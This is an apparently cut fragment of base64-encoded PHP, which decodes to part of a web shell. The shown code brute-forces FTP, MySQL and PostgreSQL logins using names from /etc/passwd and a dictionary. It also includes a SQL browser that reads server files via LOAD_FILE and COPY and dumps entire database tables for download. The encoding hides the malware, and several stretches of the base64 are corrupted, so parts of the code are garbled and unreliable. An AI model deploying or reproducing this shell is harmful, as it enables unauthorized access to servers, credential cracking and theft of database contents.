kJyk7CiAgICAgICAgICAgICAgICBpZiAoaXNfYXJyYXkoJHRlbXApKQogICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCR0ZW1wIGFzICRsaW5lKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRsaW5lID0gZXhwbG9kZSgiOiIsICRsaW5lKTsKICAgICAgICAgICAgICAgICAgICAgICAgKyskYXR0ZW1wdHM7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChicnV0ZUZvcmNlKEAkc2VydmVyWzBdLCBAJHNlcnZlclsxXSwgJGxpbmVbMF0sICRsaW5lWzBdKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHN1Y2Nlc3MrKzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzxiPicgLiBodG1sc3BlY2lhbGNoYXJzKCRsaW5lWzBdKSAuICc8L2I+OicgLiBodG1sc3BlY2lhbGNoYXJzKCRsaW5lWzBdKSAuICc8YnI+JzsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICBpZiAoQCRfUE9TVFsncmV2ZXJzZSddKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdG1wID0gIiI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3IgKCRpID0gc3RybGVuKCRsaW5lWzBdKSAtIDE7ICRpID49IDA7IC0tJGkpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRtcCAuPSAkbGluZVswXVskaV07CiAgICAgICAgICAgICAgICAgICAgICAgICAgICArKyRhdHRlbXB0czsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChicnV0ZUZvcmNlKEAkc2VydmVyWzBdLCBAJHNlcnZlclsxXSwgJGxpbmVbMF0sICR0bXApKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHN1Y2Nlc3MrKzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8Yj4nIC4gaHRtbHNwZWNpYWxjaGFycygkbGluZVswXSkgLiAnPC9iPjonIC4gaHRtbHNwZWNpYWxjaGFycygkdG1wKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfSBlbHNlaWYgKCRfUE9TVFsndHlwZSddID09IDIpIHsKICAgICAgICAgICAgICAgICR0ZW1wID0gQGZpbGUoJF9QT1NUWydkaWN0JpOwogICAgICAgICAgICAgICAgaWYgKGlzX2FycmF5KCR0ZW1wKSkKICAgICAgICAgICAgICAgICAgICBmb3JlYWNoICgkdGVtcCBhcyAkbGluZSkgewogICAgICAgICAgICAgICAgICAgICAgICAkbGluZSA9IHRyaW0oJGxpbmUpOwogICAgICAgICAgICAgICAgICAgICAgICArKyRhdHRlbXB0czsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGJydXRlRm9yY2UoJHNlcnZlclswXSwgQCRzZXJ2ZXJbMV0sICRfUE9TVFsnbG9naW4nXSwgJGxpbmUpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkc3VjY2VzcysrOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPGI+JyAuIGh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydsb2dpbiddKSAuICc8L2I+OicgLiBodG1sc3BlY2lhbGNoYXJzKCRsaW5lKSAuICc8YnI+JzsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgICAgICBlY2hvICI8c3Bhbj5BdHRlbXB0czo8L3NwYW4+ICRhdHRlbXB0cyA8c3Bhbj5TdWNjZXNzOjwvc3Bhbj4gJHN1Y2Nlc3M8L2Rpdj48YnI+IjsKICAgICAgICB9CiAgICAgICAgZWNobyAnPGgxPkZUUCBicnV0ZWZvcmNlPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+PHRhYmxlPjxmb3JtIG1ldGhvZD1wb3N0Pjx0cj48dGQ+PHNwYW4+VHlwZ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uZWN0KCRob3N0LCAkdXNlciwgJHBhc3MsICRkYm5hbWUpCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIHN3aXRjaCAoJHRoaXMtPnR5cGUpIHsKICAgICAgICAgICAgICAgICAgICBjYXNlICdteXNxbCc6CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkdGhpcy0+bGluayA9IEBteXNxbF9jbuZWN0KCRob3N0LCAkdXNlciwgJHBhc3MsIHRydWUpKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIHRydWU7CiAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgICAgIGNhc2UgJ3Bnc3FsJzoKICAgICAgICAgICAgICAgICAgICAgICAgJGhvc3QgPSBleHBsb2RlKCc6JywgJGhvc3QpOwogICAgICAgICAgICAgICAgICAgICAgICBpZiAoISRob3N0WzFdKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGhvc3RbMV0gPSA1NDMyOwogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJHRoaXMtPmxpbmsgPSBAcGdfY29ubmVjdCgiaG9zdD17JGhvc3RbMF19IHBvcnQ9eyRob3N0WzFdfSB1c2VyPSR1c2VyIHBhc3N3b3JkPSRwYXNzIGRibmFtZT0kZGJuYW1lIikpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gdHJ1ZTsKICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZnVuY3Rpbgc2VsZWN0ZGIoJGRiKQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICBzd2l0Y2ggKCR0aGlzLT50eXBlKSB7CiAgICAgICAgICAgICAgICAgICAgY2FzZSAnbXlzcWwnOgogICAgICAgICAgICAgICAgICAgICAgICBpZiAoQG15c3FsX3NlbGVjdF9kYigkZGIpKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIHRydWU7CiAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGZ1bmN0aW9uIHF1ZXJ5KCRzdHIpCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIHN3aXRjaCAoJHRoaXMtPnR5cGUpIHsKICAgICAgICAgICAgICAgICAgICBjYXNlICdteXNxbCc6CiAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiAkdGhpcy0+cmVzID0gQGc3FsX3F1ZXJ5KCRzdHIpOwogICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgICAgICBjYXNlICdwZ3NxbCc6CiAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiAkdGhpcy0+cmVzID0gQHBnX3F1ZXJ5KCR0aGlzLT5saW5rLCAkc3RyKTsKICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZnVuY3Rpb24gZmV0Y2goKQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAkcmVzID0gZnVuY19udW1fYXJncygpID8gZnVuY19nZXRfYXJnKDApIDogJHRoaXMtPnJlczsKICAgICAgICAgICAgICAgIHN3aXRjaCAoJHRoaXMtPnR5cGUpIHsKICAgICAgICAgICAgICAgICAgICBjYXNlICdteXNxbCc6CiAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiBAbXlzcWxfZmV0Y2hfYXNzb2MoJHJlcyk7CiAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgICAgIGNhc2UgJ3Bnc3FsJzoKICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIEBwZ19mZXRjaF9hc3NvYygkcmVzKTsKICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZnVuY3RpbgbGlzdERicygpCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIHN3aXRjaCAoJHRoaXMtPnR5cGUpIHsKICAgICAgICAgICAgICAgICAgICBjYXNlICdteXNxbCc6CiAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiAkdGhpcy0+cXVlcnkoIlNIT1cgZGF0YWJhc2VzIik7CiAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgICAgIGNhc2UgJ3Bnc3FsJzoKICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuICR0aGlzLT5yZXMgPSAkdGhpcy0+cXVlcnkoIlNFTEVDVCBkYXRuYW1lIEZSTgcGdfZGF0YWJhc2UgV0hFUkUgZGF0aXN0ZW1wbGF0ZSE9J3QnIik7CiAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGZ1bmN0aW9uIGxpc3RUYWJsZXMoKQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICBzd2l0Y2ggKCR0aGlzLT50eXBlKSB7CiAgICAgICAgICAgICAgICAgICAgY2FzZSAnbXlzcWwnOgogICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gJHRoaXMtPnJlcyA9ICR0aGlzLT5xdWVyeSgnU0hPVyBUQUJMRVMnKTsKICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgY2FzZSAncGdzcWwnOgogICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gJHRoaXMtPnJlcyA9ICR0aGlzLT5xdWVyeSgic2VsZWN0IHRhYmxlX25hbWUgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIHdoZXJlIHRhYmxlX3NjaGVtYSAhPSAnaW5mb3JtYXRpb25fc2NoZW1hJyBBTkQgdGFibGVfc2NoZW1hICE9ICdwZ19jYXRhbG9nJyIpOwogICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICAgICAgfQogICAgICAgICAgICBmdW5jdGlvbiBlcnJvcigpCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIHN3aXRjaCAoJHRoaXMtPnR5cGUpIHsKICAgICAgICAgICAgICAgICAgICBjYXNlICdteXNxbCc6CiAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiBAbXlzcWxfZXJyb3IoKTsKICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgY2FzZSAncGdzcWwnOgogICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gQHBnX2xhc3RfZXJyb3IoKTsKICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZnVuY3Rpbgc2V0Q2hhcnNldCgkc3RyKQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICBzd2l0Y2ggKCR0aGlzLT50eXBlKSB7CiAgICAgICAgICAgICAgICAgICAgY2FzZSAnbXlzcWwnOgogICAgICAgICAgICAgICAgICAgICAgICBpZiAoZnVuY3RpbfZXhpc3RzKCdteXNxbF9zZXRfY2hhcnNldCcpKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIEBteXNxbF9zZXRfY2hhcnNldCgkc3RyLCAkdGhpcy0+bGluayk7CiAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT5xdWVyeSgnU0VUIENIQVJTRVQgJyAuICRzdHIpOwogICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgICAgICBjYXNlICdwZ3NxbCc6CiAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiBAcGdfc2V0X2NsaWVudF9lbmNvZGluZygkdGhpcy0+bGluaywgJHN0cik7CiAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGZ1bmN0aW9uIGxvYWRGaWxlKCRzdHIpCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIHN3aXRjaCAoJHRoaXMtPnR5cGUpIHsKICAgICAgICAgICAgICAgICAgICBjYXNlICdteXNxbCc6CiAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiAkdGhpcy0+ZmV0Y2goJHRoaXMtPnF1ZXJ5KCJTRUxFQ1QgTE9BRF9GSUxFKCciIC4gYWRkc2xhc2hlcygkc3RyKSAuICInKSBhcyBmaWxlIikpOwogICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgICAgICBjYXNlICdwZ3NxbCc6CiAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT5xdWVyeSgiQ1JFQVRFIFRBQkxFIGhhcmQyKGZpbGUgdGV4dCk7Q09QWSBoYXJkMiBGUk9NICciIC4gYWRkc2xhc2hlcygkc3RyKSAuICInO3NlbGVjdCBmaWxlIGZyb20gaGFyZDI7Iik7CiAgICAgICAgICAgICAgICAgICAgICAgICRyID0gYXJyYXkoKTsKICAgICAgICAgICAgICAgICAgICAgICAgd2hpbGUgKCRpID0gJHRoaXMtPmZldGNoKCkpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcltdID0gJGlbJ2ZpbGUnXTsKICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPnF1ZXJ5KCdkcm9wIHRhYmxlIGhhcmQyJyk7CiAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiBhcnJheSgnZmlsZScgPT4gaW1wbG9kZSgiXG4iLCAkcikpOwogICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICAgICAgfQogICAgICAgICAgICBmdW5jdGlvbiBkdW1wKCR0YWJsZSwgJGZwID0gZmFsc2UpCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIHN3aXRjaCAoJHRoaXMtPnR5cGUpIHsKICAgICAgICAgICAgICAgICAgICBjYXNlICdteXNxbCc6CiAgICAgICAgICAgICAgICAgICAgICAgICRyZXMgPSAkdGhpcy0+cXVlcnkoJ1NIT1cgQ1JFQVRFIFRBQkxFIGAnIC4gJHRhYmxlIC4gJ2AnKTsKICAgICAgICAgICAgICAgICAgICAgICAgJGNyZWF0ZSA9IGc3FsX2ZldGNoX2FycmF5KCRyZXMpOwogICAgICAgICAgICAgICAgICAgICAgICAkc3FsID0gJGNyZWF0ZVsxXSAuICI7XG4iOwogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJGZwKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZndyaXRlKCRmcCwgJHNxbCk7CiAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gKCRzcWwpOwogICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+cXVlcnkoJ1NFTEVDVCAqIEZST00gYCcgLiAkdGFibGUgLiAnYCcpOwogICAgICAgICAgICAgICAgICAgICAgICAkaSA9IDA7CiAgICAgICAgICAgICAgICAgICAgICAgICRoZWFkID0gdHJ1ZTsKICAgICAgICAgICAgICAgICAgICAgICAgd2hpbGUgKCRvcCA9ICR0aGlzLT5mZXRjaCgpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkc3FsID0gJyc7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJGkgJSAxMDAwID09IDApIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaGVhZCA9IHRydWU7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHNxbCA9ICI7XG5cbiI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkY29sdW1ucyA9IGFycmF5KCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoICgkb3AgYXMgJGsgPT4gJHYpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJHYgPT09IG51bGwpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRvcFska10gPSAiTlVMTCI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZWlmIChpc19pbnQoJHYpKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkb3BbJGtdID0gJHY7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkb3BbJGtdID0gIiciIC4gQG15c3FsX3JlYWxfZXNjYXBlX3N0cmluZygkdikgLiAiJyI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGNvbHVtbnNbXSA9ICJgIiAuICRrIC4gImAiOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRoZWFkKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHNxbCAuPSAnSU5TRVJUIElOVE8gYCcgLiAkdGFibGUgLiAnYCAoJyAuIGltcGxvZGUoIiwgIiwgJGNvbHVtbnMpIC4gIikgVkFMVUVTIFxuXHQoIiAuIGltcGxvZGUoIiwgIiwgJG9wKSAuICcpJzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaGVhZCA9IGZhbHNlOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHNxbCAuPSAiXG5cdCwoIiAuIGltcGxvZGUoIiwgIiwgJG9wKSAuICcpJzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkZnApCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZndyaXRlKCRmcCwgJHNxbCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAoJHNxbCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaSsrOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICghJGhlYWQpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJGZwKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZ3cml0ZSgkZnAsICI7XG5cbiIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gKCI7XG5cbiIpOwogICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgICAgICBjYXNlICdwZ3NxbCc6CiAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT5xdWVyeSgnU0VMRUNUICogRlJPTSAnIC4gJHRhYmxlKTsKICAgICAgICAgICAgICAgICAgICAgICAgd2hpbGUgKCRvcCA9ICR0aGlzLT5mZXRjaCgpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkY29sdW1ucyA9IGFycmF5KCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoICgkb3AgYXMgJGsgPT4gJHYpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkb3BbJGtdID0gIiciIC4gYWRkc2xhc2hlcygkdikgLiAiJyI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGNvbHVtbnNbXSA9ICRrOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHNxbCA9ICdJTlNFUlQgSU5UTyAnIC4gJHRhYmxlIC4gJyAoJyAuIGltcGxvZGUoIiwgIiwgJGNvbHVtbnMpIC4gJykgVkFMVUVTICgnIC4gaW1wbG9kZSgiLCAiLCAkb3ApIC4gJyk7JyAuICJcbiI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJGZwKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZ3cml0ZSgkZnAsICRzcWwpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gKCRzcWwpOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIDsKICAgICAgICAkZGIgPSBuZXcgRGJDbGFzcygkX1BPU1RbJ3R5cGUnXSk7CiAgICAgICAgaWYgKChAJF9QT1NUWydwMiddID09ICdkb3dubG9hZCcpICYmIChAJF9QT1NUWydwMSddICE9ICdzZWxlY3QnKSkgewogICAgICAgICAgICAkZGItPmNvbm5lY3QoJF9QT1NUWydzcWxfaG9zdCddLCAkX1BPU1RbJ3NxbF9sb2dpbiddLCAkX1BPU1RbJ3NxbF9wYXNzJ10sICRfUE9TVFsnc3FsX2Jhc2UnXSk7CiAgICAgICAgICAgICRkYi0+c2VsZWN0ZGIoJF9QT1NUWydzcWxfYmFzZSddKTsKICAgICAgICAgICAgc3dpdGNoICgkX1BPU1RbJ2NoYXJzZXQnXSkgewogICAgICAgICAgICAgICAgY2FzZSAiV2luZG93cy0xMjUxIjoKICAgICAgICAgICAgICAgICAgICAkZGItPnNldENoYXJzZXQoJ2NwMTI1MScpOwogICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgY2FzZSAiVVRGLTgiOgogICAgICAgICAgICAgICAgICAgICRkYi0+c2V0Q2hhcnNldCgndXRmOCcpOwogICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgY2FzZSAiS09JOC1SIjoKICAgICAgICAgICAgICAgICAgICAkZGItPnNldENoYXJzZXQoJ2tvaThyJyk7CiAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICBjYXNlICJLT0k4LVUiOgogICAgICAgICAgICAgICAgICAgICRkYi0+c2V0Q2hhcnNldCgna29pOHUnKTsKICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgIGNhc2UgImNwODY2IjoKICAgICAgICAgICAgICAgICAgICAkZGItPnNldENoYXJzZXQoJ2NwODY2Jyk7CiAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgaWYgKGVtcHR5KCRfUE9TVFsnZmlsZSddKSkgewogICAgICAgICAgICAgICAgb2Jfc3RhcnQoIm9iX2d6aGFuZGxlciIsIDQwOTYpOwogICAgICAgICAgICAgICAgaGVhZGVyKCJDb0ZWLURpc3Bvc2l0aW9uOiBhdHRhY2htZWOyBmaWxlbmFtZT1kdW1wLnNxbCIpOwogICAgICAgICAgICAgICAgaGVhZGVyKCJDb250ZW50LVR5cGU6IHRleHQvcGxhaW4iKTsKICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRfUE9TVFsndGJsJ10gYXMgJHYpCiAgICAgICAgICAgICAgICAgICAgJGRiLT5kdW1wKCR2KTsKICAgICAgICAgICAgICAgIGV4aXQ7CiAgICAgICAgICAgIH0gZWxzZWlmICgkZnAgPSBAZm9wZW4oJF9QT1NUWydmaWxlJ10sICd3JykpIHsKICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRfUE9TVFsndGJsJ10gYXMgJHYpCiAgICAgICAgICAgICAgICAgICAgJGRiLT5kdW1wKCR2LCAkZnApOwogICAgICAgICAgICAgICAgZmNsb3NlKCRmcCk7CiAgICAgICAgICAgICAgICB1bnNldCgkX1BPU1RbJ3AyJ10pOwogICAgICAgICAgICB9IGVsc2UKICAgICAgICAgICAgICAgIGRpZSgnPHNjcmlwdD5hbGVydCgiRXJyb3IhIENhblwndCBvcGVuIGZpbGUiKTt3aW5kb3cuaGlzdG9yeS5iYWNrKC0xKTwvc2NyaXB0PicpOwogICAgICAgIH0KICAgICAgICBoYXJkSGVhZGVyKCk7CiAgICAgICAgZWNobyAiCiAgICA8aDE+U3FsIGJyb3dzZXI8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4KICAgIDxmb3JtIG5hbWU9J